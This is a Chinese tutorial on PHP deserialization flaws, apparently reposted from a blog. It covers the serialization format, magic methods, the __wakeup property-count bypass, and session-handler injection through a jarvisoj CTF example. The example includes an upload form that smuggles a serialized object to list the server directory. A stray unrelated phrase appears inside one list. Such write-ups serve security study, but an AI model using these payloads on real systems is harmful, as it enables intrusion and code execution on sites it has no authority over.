PHP反序列化
PHP反序列化总结
序列化初识
以PHP语⾔为例⼦,在写程序尤其是写⽹站的时候,经常会构造类,并且有时候会将实例化的类作为变量进⾏传输。序列化就是在此为了减少传输内容的⼤⼩孕育⽽⽣的⼀种压缩⽅法。我们知道⼀个PHP类都含有⼏个特定的元素: 类属性、类常量、类⽅法。每⼀个类⾄少都含有以上三个元素,⽽这三个元素也可以组成最基本的类。那么按照特定的格式将这三个元素表达出来就可以将⼀个完整的类表⽰出来并传递。序列化就是将⼀个类压缩成⼀个字符串的⽅法
<?php
class TEST{
public $a="public";
private $b="private";
protected $c="protected";
static $d="static";
}
$ob=new TEST();
echo serialize($ob);
>
output:
O:4:"TEST":3:{s:1:"a";s:6:"public";s:7:"TESTb";s:7:"private";s:4:"*c";s:9:"protected";}
解析
O表⽰这是⼀个对象
4对象的名称TEST有4个字符
TEST对象的名称
3对象属性的个数,不算static
s数据类型为string
1变量的名字长度
a变量名
s数据类型
6变量值的长度
public变量的值
s数据类型
7变量名字的长度,private属性序列化会在两侧加⼊空字节%00,即⽐明⽂长度多2 TESTb private属性的变量名在序列化时会加上类名,即类名+变量名
s数据类型
7变量值的长度
private变量值
s数据类型
4变量名长度
解析
*c protected属性的变量名会在序列化时会在变量名前加上⼀个\00*\00
s数据类型
9数据值的长度
protected数据值
不同类型的数据
PHP 对不同类型的数据⽤不同的字母进⾏标⽰
字母表⽰类型
a数组
b布尔值
d实数型
i整型
r对象引⽤
s字符串
C⾃定义的对象序列化
O对象序列化
N NULL
R指针引⽤
U Unicode编码字符串
魔术⽅法
⽅法作⽤
__construct()创建对象时触发
__destruct()对象被销毁时触发
__call()在对象上下⽂中调⽤不可访问的⽅法时触发
__callStatic()在静态上下⽂中调⽤不可访问的⽅法时触发
__get()⽤于从不可访问的属性读取数据
__set()⽤于将数据写⼊不可访问的属性
__isset()在不可访问的属性上调⽤isset()或empty()触发
php8兼容php7吗__unset()在不可访问的属性上使⽤unset()时触发
__invoke()当脚本尝试将对象调⽤为函数时触发
常利⽤的⽅法
__sleep()
serialize() 函数会检查类中是否存在⼀个魔术⽅法 __sleep()。如果存在,该⽅法会先被调⽤,然后才执⾏序列化操作。此功能可以⽤于清理对象,并返回⼀个包含对象中所有应被序列化的变量名称的数组。如果该⽅法未返回任何内容,则 NULL 被序列化,并产⽣⼀个 E_NOTICE 级别的错误。
_wakeup()
unserialize() 会检查是否存在⼀个 __wakeup() ⽅法。如果存在,则会先调⽤ __wakeup ⽅法,预先准备对象需要的资源。PHP5 <
5.6.25 ---------PHP7 < 7.0.10
绕过⽅法:序列化字符串中表⽰对象属性个数的值⼤于真实的属性个数时会跳过__wakeup的执⾏
//新建⼀个测试脚本
// test.php
<?php
class test{
function__wakeup(){
echo"no bypassed";
}
}
$c=new test();
var_dump(serialize($c));//O:4:"test":0:{}
$a=$_GET['poc'];
$b=unserialize($a);
>
当尝试反序列化正常的类(属性个数正确),这⾥的wakeup函数没有被绕过。
尝试将属性个数修改为错误的数字(⽐原来的⼤)
可以发现wakeup中的函数没有被执⾏。
session反序列化漏洞
PHP在session存储和读取时,都会有⼀个序列化和反序列化的过程,PHP内置了多种处理器⽤于存取 $_SESSION 数据,都会对数据进⾏序列化和反序列化。
session.serialize_handler 定义⽤来序列化/反序列化的处理器名字。默认使⽤php,除了默认的session序列化引擎php外,还有⼏种引擎,不同引擎存储⽅式不同。
php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
php 键名+竖线+经过serialize()函数反序列处理的值
php_serialize serialize()函数反序列处理数组⽅式
存储机制
php中的session内容是以⽂件⽅式来存储的,由session.save_handler来决定。⽂件名由sess_sessionid命名,⽂件内容则为session序列化后的值。
php⼤于5.5.4的版本中默认使⽤php_serialize规则,可以发现存储的session⽂件内容就是⼀个序列化后的内容。
当反序列化和序列化使⽤的处理器不同,由于格式的原因会导致数据⽆法正确反序列化,那么就可以通过构造伪造任意数据。
eg:jarvisoj-web session 反序列
地址:
题⽬⼊⼝并没有提供⼀个上传session的地⽅,当有get参数phpinfo时,就会实例化⼀个对象并显⽰phpinfo信息。
session上传的⼀个⽅法:
当⼀个⽂件上传时,同时POST⼀个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name 的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加⼀条数据
写⼀个可以向index页⾯post⼀个file和⼀个 PHP_SESSION_UPLOAD_PROGRESS变量的页⾯
<form action="web.jarvisoj:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value='|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(__dir__));\";}'/>
<input type="file" name="file"/>
<input type="submit"/>
</form>
tip:这⾥有⼏个点需要注意⼀下,value的值需要以|开头,表⽰后⾯的内容是序列化字符串,所有的双引号都需要\转义
可以看到当前⽬录有3个⽂件,其中有个flag⽂件,让我们尝试输出。
到当前页⾯的地址
测试后发现不能通过修改PHP_SESSION_UPLOAD_PROGRESS变量来输出⽂件内容,只能通过修改上传⽂件的⽂件名来输出⽂件内容。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。